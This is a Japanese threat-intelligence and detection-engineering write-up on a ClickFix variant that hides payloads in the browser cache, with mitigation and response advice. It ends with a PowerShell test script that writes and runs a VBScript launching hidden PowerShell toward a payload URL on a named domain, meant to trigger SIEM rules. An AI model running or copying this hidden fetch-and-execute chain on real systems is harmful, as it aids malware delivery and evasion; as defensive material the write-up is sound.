ClickFix攻撃、ブラウザキャッシュを介してペイロードを配信

概要

新しいClickFix攻撃のバリエーションでは、正規なファイル（例: PNG）として偽装された悪意あるスクリプトを、ブラウザーのキャッシュに事前に取得するために、侵害されたウェブサイトを利用します。被害者は社会工学的に操作され、Windowsの実行ダイアログを介してコマンドを実行するように仕向けられ、キャッシュされたペイロードの実行を引き起こし、文字数制限やセキュリティ制御を回避します。この手法は最終的に、正規のプロセスへのメモリインジェクションを通じた資格情報の窃取につながります。

調査

Microsoft Threat Intelligenceやその他の研究者は、VBScript、PowerShell、および.NETアセンブリを含む多段階の感染チェーンを特定しました。この攻撃チェーンは、ブラウザーキャッシュの密輸を利用してペイロードを隠し、ホスト情報を収集するためにWMIを使用します。調査は、cmd.exe、wscript.exe、timeout.exeなどの正規のシステムツールを攻撃を促進するために使用されていることを示しました。

緩和策

組織は、クラウド配信、ウェブ、ネットワーク保護を、アプリケーション制御およびPowerShellスクリプトブロックのロギングとともに実装するべきです。ユーザーは、ウェブサイトのエラーやCAPTCHAによって促されたときに、Windows Run、ターミナル、またはPowerShellにコマンドを貼り付けないように教育されるべきです。また、疑わしいブラウザーアクティビティおよびWScript/PowerShellの子プロセスを監視することが推奨されます。

対応

検出後は、RunMRUレジストリキーの中の疑わしいアクティビティを探し、異常なスケジュールタスクを監視します。WScriptまたはPowerShellから生成された子プロセスを調査し、不正な.NETアセンブリがメモリにロードされていないか確認します。影響を受けたシステムを隔離し、既知の悪意あるドメインへのアウトバウンド接続のためにネットワークログをレビューします。

シミュレーション実行

• 攻撃の物語とコマンド: 攻撃者は、ユーザーがブラウザーエラーを「修正」するよう促される社会工学的手法を利用します。このプロセスは、悪意あるVBScriptを一時ディレクトリに密輸（ブラウザーキャッシュをシミュレート）します。攻撃者はその後、このVBScriptを利用して wscript.exeを実行します。VBScriptはPowerShellを -WindowStyle Hidden フラグを使用してユーザー検知を避け、ドメイン capsysnet.vg に接続して2次ペイロードを取得しようとします。この手順は、ルールの特定の文字列ベースの検出ロジックをトリガーするように設計されています。

• 回帰テストスクリプト:

  # シミュレーションスクリプト: ClickFixペイロード密輸模倣
  $tempDir = $env:TEMP
  $vbsPath = Join-Path $tempDir "malicious_smuggled.vbs"
  
  # 悪意ある動作をシミュレートするVBScriptを作成
  # ルールが探す特定の文字列を含むPowerShellを呼び出し、
  # 疑わしいドメインを参照します。
  $vbsContent = @"
  Set objShell = CreateObject("WScript.Shell")
  ' 隠しウィンドウスタイルでv.ps1というスクリプトを呼び出すことをシミュレート
  ' 不審なドメインに接続
  objShell.Run "powershell.exe -File v.ps1 -WindowStyle Hidden -Url http://capsysnet.vg/payload.exe", 0, True
  "@
  
  Set-Content -Path $vbsPath -Value $vbsContent
  
  Write-Host "[+] 恶意なVBScriptが作成されました: $vbsPath"
  Write-Host "[+] wscript.exeによるVBScriptの実行を開始して、検出をトリガーします..."
  
  # VBScriptを実行
  Start-Process "wscript.exe" -ArgumentList "`"$vbsPath`""
  
  Write-Host "[+] シミュレーションコマンドが送信されました。SIEMでの警告を確認してください。"

• クリーンアップコマンド:

  # クリーンアップ: シミュレートされた恶意なファイルを削除
  $tempDir = $env:TEMP
  $vbsPath = Join-Path $tempDir "malicious_smuggled.vbs"
  if (Test-Path $vbsPath) {
      Remove-Item -Path $vbsPath -Force
      Write-Host "[+] クリーンアップ完了: $vbsPathを削除しました。"
  } else {
      Write-Host "[!] クリーンアップ失敗: ファイルが見つかりませんでした。"
  }